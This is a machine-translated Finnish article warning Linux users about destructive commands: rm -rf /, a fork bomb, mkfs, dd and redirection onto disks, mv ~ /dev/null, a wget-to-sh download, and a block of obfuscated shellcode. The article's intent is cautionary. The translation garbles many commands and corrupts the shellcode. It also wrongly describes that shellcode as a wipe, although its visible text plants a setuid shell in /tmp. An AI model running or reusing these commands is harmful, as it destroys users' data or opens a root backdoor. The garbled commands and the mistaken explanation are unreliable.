8 Deadly Commands Sinun ei pitäisi koskaan juosta Linuxissa
Linuxin pääkomennot ovat tehokkaita ja Linux ei pyydä vahvistusta, jos suoritat komennon, joka rikkoo järjestelmääsi. Ei ole harvinaista, että trollit ovat verkossa suosittelemassa uusia Linux-käyttäjiä käyttämään näitä komentoja vitsi.
Opettelemattomien komentojen oppiminen voi auttaa sinua suojelemaan trolleja samalla kun ymmärrät Linuxin toimivuutta. Tämä ei ole tyhjentävä opas, ja tässä olevat komennot voidaan korjata monin eri tavoin.
Huomaa, että monet näistä komennoista ovat vaarallisia vain, jos ne ovat etukäteen sudo Ubuntu - he eivät toimi toisin. Muissa Linux-jakeluissa useimpien komentojen on oltava juurina.
Image Credit: Skull ja Crossbones remixoitiin Jason Fordista Twitterissä
rm -rf / - Poistaa kaiken!
Käsky rm -rf / poistaa kaiken mahdollisen, mukaan lukien kiintolevyn tiedostot ja tiedostot liitetyistä irrotettavista medialaitteista. Tämä komento on ymmärrettävämpi, jos se on jaoteltu:
rm - Poista seuraavat tiedostot.
-rf - Suorita rm rekursiivisesti (poista kaikki määritetyn kansion sisällä olevat tiedostot ja kansiot) ja pakota kaikki tiedostot pakottamatta sinua.
/ - Kertoo rm: lle alkavan juurihakemistosta, joka sisältää kaikki tietokoneessa olevat tiedostot ja kaikki asennetut medialaitteet, mukaan lukien etätiedostot ja irrotettavat asemat.
Linux noudattaa iloisesti tätä komentoa ja poistaa kaiken ilman kehotusta, joten ole varovainen, kun käytät sitä! Rm-komentoa voidaan käyttää myös muilla vaarallisilla tavoilla - rm -rf ~ poistaisi kaikki kotikansion tiedostot rm -rf. * poistaa kaikki kokoonpanotiedostosi.
Oppitunti: Varo rm -rf.
Piilotettu rm -rf /
Tässä on toinen koodinpätkä, joka on kaikkialla verkossa:
char esp [] __attribute__ ((osio (”. text”))) / * e.s.p
vapauta * /
= X x x x x x x x x x x x x x x x x x x x x x x x x x x x x
”\ Xff \ xff \ xff \ xff \ x68 \ XDF- \ xd0 \ XDF- \ xd9 \ x68 \ x8d \ x99”
”\ XDF- \ x81 \ x68 \ x8d \ x92 \ XDF- \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7”
”\ X56 \ X04 \ xf7 \ x56 \ X08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56”
”\ X8d \ x73 \ X08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ XCD \ x80 \ x31”
”\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ XBD \ xff \ xff \ xff \ x2f \ x62 \ x69”
”\ X6e \ x2f \ x73 \ x68 \ x00 \ X2D \ x63 \ x00”
“Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”
Tämä on rm -rf / - Tämän komennon suorittaminen pyyhkiisi tiedostosi aivan kuin olisit suorittanut rm -rf /.
Oppitunti: Älä käytä outoja näköisiä, ilmeisesti peiteltyjä komentoja, joita et ymmärrä.
: () : |: & ;: - Haarukkapommi
Seuraava rivi on yksinkertainen, mutta vaarallinen bash-toiminto:
: () : |: & ;:
Tämä lyhyt linja määrittelee kuoritoiminnon, joka luo itselleen uusia kopioita. Prosessi toistuu jatkuvasti, ja sen kopiot toistuvat jatkuvasti, nopeasti ottamalla kaikki CPU-ajan ja muistin. Tämä voi aiheuttaa tietokoneen jäädyttämisen. Se on pohjimmiltaan palvelunestohyökkäys.
Oppitunti: Bash-toiminnot ovat voimakkaita, jopa hyvin lyhyitä.
Kuvaluotto: Dake Wikimedia Commonsissa
mkfs.ext4 / dev / sda1 - Kiintolevyn alustaminen
mkfs.ext4 / dev / sda1 komento on helppo ymmärtää:
mkfs.ext4 - Luo uusi ext4-tiedostojärjestelmä seuraavaan laitteeseen.
/ Dev / sda1 - Määrittää ensimmäisen kiintolevyn ensimmäisen osion, joka on todennäköisesti käytössä.
Yhdessä tämä komento voi olla sama kuin käynnissä olevan muodon c: Windowsissa - se pyyhkii ensimmäisen osion tiedostot ja korvaa ne uudella tiedostojärjestelmällä.
Tämä komento voi olla myös muissa muodoissa - mkfs.ext3 / dev / sdb2 muotoilee toisen kiintolevyn toisen osion ext3-tiedostojärjestelmällä.
Oppitunti: Varo käynnissä olevia komentoja suoraan kiintolevylaitteilla, jotka alkavat / dev / sd.
komento> / dev / sda - Kirjoittaa suoraan kiintolevylle
komento> / dev / sda linja toimii samalla tavalla - se suorittaa komennon ja lähettää kyseisen komennon lähdön suoraan ensimmäiselle kiintolevylle, kirjoittaa tiedot suoraan kiintolevylle ja vahingoittaa tiedostojärjestelmääsi.
komento - Suorita komento (voi olla mikä tahansa komento).
> - Lähetä komennon lähtö seuraavaan paikkaan.
/ Dev / sda - Kirjoita komennon lähtö suoraan kiintolevylaitteeseen.
Oppitunti: Kuten edellä, varokaa käskyjä, joihin liittyy kiintolevylaitteita, jotka alkavat / dev / sd.
dd if = / dev / random / = / dev / sda - kirjoittaa roskapostin kiintolevylle
dd if = / dev / satunnainen = / dev / sda rivi poistaa myös kiintolevyn tiedot.
dd - Suorita matalan tason kopiointi paikasta toiseen.
jos = / dev / random - Käytä syötteeksi / dev / random (satunnaiset tiedot) - voit myös nähdä sijainteja, kuten / dev / nolla (nollia).
ja = / dev / sda - Lähdetään ensimmäiselle kiintolevylle ja korvataan sen tiedostojärjestelmä satunnaisilla jätetiedoilla.
Oppitunti: dd kopioi tiedot paikasta toiseen, mikä voi olla vaarallista, jos kopioit suoraan laitteeseen.
Kuvaluotto: Matt Rudge Flickrissä
mv ~ / dev / null - Siirtää kotikansiosi mustaan reikään
/ dev / null on toinen erityinen paikka - liikkuminen johonkin / dev / nulliin on sama asia kuin sen tuhoaminen. Ajattele / dev / nullia mustana aukona. Olennaisesti, mv ~ / dev / null lähettää kaikki henkilökohtaiset tiedostosi mustaan reikään.
mv - Siirrä seuraava tiedosto tai hakemisto toiseen paikkaan.
~ - Esittää koko kotikansiosi.
/ Dev / null - Siirrä kotikansiosi / dev / nulliin, tuhoamalla kaikki tiedostosi ja poistamalla alkuperäiset kopiot.
Oppitunti: ~ -Merkki edustaa kotikansiota ja siirtää asiat / dev / nulliin tuhoamaan ne.
wget http://example.com/something -O - | sh - Lataukset ja komentosarja
Yllä oleva rivi lataa skriptin verkosta ja lähettää sen sh: lle, joka suorittaa komentosarjan sisällön. Tämä voi olla vaarallista, jos et ole varma, mitä skripti on, tai jos et luota sen lähde - älä suorita epäluotettavia komentosarjoja.
wget - Lataa tiedosto. (Saatat myös nähdä käpristyksen wgetin sijasta.)
http://example.com/something - Lataa tiedosto tästä paikasta.
| - Pyyhi (lähetä) wget-komennon (ladattu tiedosto) lähtö suoraan toiseen komentoon.
sh - Lähetä tiedosto sh-komentoon, joka suorittaa sen, jos se on bash-komentosarja.
Oppitunti: Älä lataa ja suorita epäluotettavia komentosarjoja verkosta, vaikka komento olisikin käytössä.
Tiedä muita vaarallisia komentoja, joita uudet (ja kokeneet) Linux-käyttäjät eivät saa käyttää? Jätä kommentti ja jaa ne!